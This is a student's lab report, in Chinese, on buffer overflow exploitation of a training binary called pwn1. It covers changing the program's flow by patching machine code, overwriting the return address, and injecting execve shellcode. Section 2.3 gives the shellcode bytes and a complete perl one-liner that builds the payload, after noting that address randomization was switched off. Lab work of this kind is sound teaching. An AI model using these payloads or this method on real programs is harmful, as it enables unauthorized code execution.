1.实验内容
1.1本周学习内容
（1）了解了缓冲区溢出发展历史：红色代码、冲击波病毒、震荡波病毒、心脏出血、乌克兰断网、勒索病毒。
（2）了解了缓冲区溢出漏洞的本质和危害：缓冲区溢出漏洞是由于程序没有进行严格的内存越界检查，导致数据溢出并覆盖相邻内存空间，从而可能被攻击者利用执行恶意代码。这种漏洞可能导致程序崩溃、数据泄露、系统被控等严重后果。
（3）了解了缓冲区溢出基础知识，比如编译器和调试器、汇编语言、进程内存管理、函数调用过程以及相关寄存器的操作。
（4）了解了缓冲区溢出的防范技术
源程序检查： 通过静态检查和动态测试，及时发现潜在的缓冲区溢出漏洞。
不可执行的缓冲区： 使堆栈数据空间不能执行程序，防止攻击者植入恶意代码。
数组边界检查： 在编译时检查数组操作是否越界，避免溢出发生。
运行时拦截检查： 通过不安全函数检查和数据完整性检查，及时发现和阻止缓冲区溢出攻击。
1.2实验内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。
三个实践内容如下：
- 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
- 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
这几种思路，基本代表现实情况中的攻击目标:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。
2.实验过程
2.1直接修改程序机器指令，改变程序执行流程。
（1）下载目标文件pwn1,将文件名改为pwn20222419并复制一份
（2）反汇编。
（3）修改可执行文件，将其中的call指令的目标地址由d7ffffff变为c3ffffff。
（4）再反汇编看一下，call指令是否正确调用getShell
（5）运行下改后的代码，得到shell提示符
2.2通过构造输入参数，造成BOF攻击，改变程序执行流
（1）反汇编，了解程序的基本功能
这里读入字符串，但系统只预留了28字节的缓冲区，超出部分会造成溢出
上面的call调用foo,同时在堆栈上压上返回地址值:80484ba
（2）确认输入字符串哪几个字符会覆盖到返回地址
第一次可以看到eip地址为0x35353535,表明已经发生了覆盖；
第二次对应的eip地址为0x34333231
（3）确认用什么值来覆盖返回地址
前通过反汇编得到的getShell的地址0x0804847d，可以确定我们的输入可以构造为11111111222222223333333344444444\x7d\x84\x04\x08
（4）构造输入字符串
将input的输入，通过管道符“|”，作为pwn20222419的输入。
2.3注入Shellcode并执行
（1）准备一段Shellcode
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
（2）准备工作
（3）构造要注入的payload
Linux下有两种基本构造攻击buf的方法：
retaddr+nop+shellcode
nop+shellcode+retaddr
结构为：nops+shellcode+retaddr并注入这段攻击buf：
再开另外一个终端，用gdb来调试pwn20222419这个进程。
将返回地址改为0xffffd390，发现并没有成功
重新开始
结构为：anything+retaddr+nops+shellcode，地址是 0xffffd3ac+4=0xffffd3b0
所以为：
perl -e 'print "A" x 32;print "\xb0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
3.问题及解决方案
-
问题1：一开始无法下载execstack
-
问题1解决方案：根据链接
https://blog.csdn.net/weixin_43729943/article/details/104221462成功解决问题 -
问题2：知道esp地址后也一直无法成功注入shellcode，后来发现esp地址在发生变化
-
问题2解决方案：第一天晚上关闭了地址随机化，后来电脑自动睡眠，虚拟机重新启动没有关闭地址随机化，导致esp地址在发生变化，后来重新关闭地址随机化成功注入shellcode。
4.学习感悟、思考等
实验尽量一次性完成，不然电脑自动睡眠后虚拟机是否发生变化不可知，需要重头再来才保险。
通过修改可执行文件，我知道了如何通过修改流程来实现预期目标。在构建溢出字符串的过程中，我认识到了缓冲区溢出漏洞的原理，以及数据如何因过量输入而覆盖地址指令，从而实现控制程序执行的目的。此外，我还掌握了 GDB 调试工具的使用方法。
在尝试编写 shellcode 的过程中，我初步理解了 shellcode 的概念，以及如何将 shellcode 注入并执行于正常运行程序中。